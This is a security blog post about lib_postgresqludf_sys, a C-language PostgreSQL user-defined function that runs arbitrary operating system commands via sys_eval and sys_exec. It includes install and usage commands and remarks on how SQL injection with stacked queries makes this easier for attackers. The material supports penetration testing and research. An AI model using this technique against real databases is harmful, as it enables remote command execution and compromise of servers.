Command execution with a PostgreSQL UDF

As I stated on a previous post, modern database management systems allow to interact with the underlying operating system giving to the database administrator or to a malicious user, potentially a remote attacker through a SQL injection vulnerability, the possibility to:

• Execute operating system command
• Read and write files on the file system
  

On PostgreSQL it is possible to create a User-Defined Function to execute commands on the underlying operating system. This can be done in three ways:

• Taking advantage of libc built-in system() function:
  Nico Leidecker implemented this technique in his pgshell tool and it is described in the OWASP Backend Security Project guide.

• By creating a proper Procedural Language Function in PL/Tcl, PL/Perl or PL/Python:
  Daniele Bellucci described the steps to go through to do that by using PL/Perl and PL/Python.

• By creating a C-Language Funcion:
  David Litchfield described this technique in his book The Database Hacker's Handbook, chapter 25 titled PostgreSQL: Discovery and Attack (source code freely available from Wiley book page).

All of these methods have at least one limitation that make them useless on recent PostgreSQL server installations:

• The first method only works until PostgreSQL version 8.1 and returns the command exit status, not the command standard output. Since PostgreSQL version 8.2-devel all UDF must include a magic block after having included the header fmgr.h as explained here.
  Recompiling libc to include a PostgreSQL specific magic block is not a good idea.
  

• The second method only works if PostgreSQL server has been compiled with support for one of those Procedural Language Function. By default they are not available, at least on most of Linux distributions.

• The third method works until PostgreSQL version 8.1 for the same reason of the first method and it has the same behavior (no command standard output). Anyway, it can be patched to include the magic block and make it work properly also on PostgreSQL versions above 8.1.
  

I adapted the MySQL UDF for command execution to PostgreSQL and created a C-Language Funcion called lib_postgresqludf_sys: for the moment it works on any PostgreSQL server version on Linux systems.
It implements two functions:

• sys_eval - executes an arbitrary command, and returns its output.
• sys_exec - executes an arbitrary command, and returns its exit code.

The source code can be found on sqlmap subversion repository here and a package with the source code is available here.

Usage example:

$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
$ tar xfz lib_postgresqludf_sys_0.0.1.tar.gz
$ cd lib_postgresqludf_sys
$ sudo ./install.sh
Compiling the PostgreSQL UDF
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o /usr/lib/lib_postgresqludf_sys.so
PostgreSQL UDF compiled successfully

Please provide your PostgreSQL 'postgres' user's password
Password for user postgres:
PostgreSQL UDF installed successfully
$ psql -h 127.0.0.1 -p 5432 -U postgres -q template1
Password for user postgres:
template1=# SELECT sys_eval('pwd');
sys_eval
------------------------------
/var/lib/postgresql/8.3/main

(1 row)

template1=# SELECT sys_exec('touch /tmp/test_postgresql');
sys_exec
----------
0
(1 row)

template1=# \q
$ ls -l /tmp/test_postgresql
-rw------- 1 postgres postgres 0 2009-01-22 20:07 /tmp/test_postgresql

The main advantage over MySQL is that, at the time of writing this post, Ubuntu (probably other distributions too) has no AppArmor profile file in its default PostgreSQL server package so UDF that call C functions like system() or popen() are not denied.

Another notable difference is that common web applications' dynamic languages allow stacked queries (multiple statements) when the back-end database management system is PostgreSQL which make it easier for an attacker to take advantage of a SQL injection to execute arbitrary operating system commands.

UPDATE on January 25, 2009: PacketStormSecurity.org and milw0rm.com mirrored it here and here.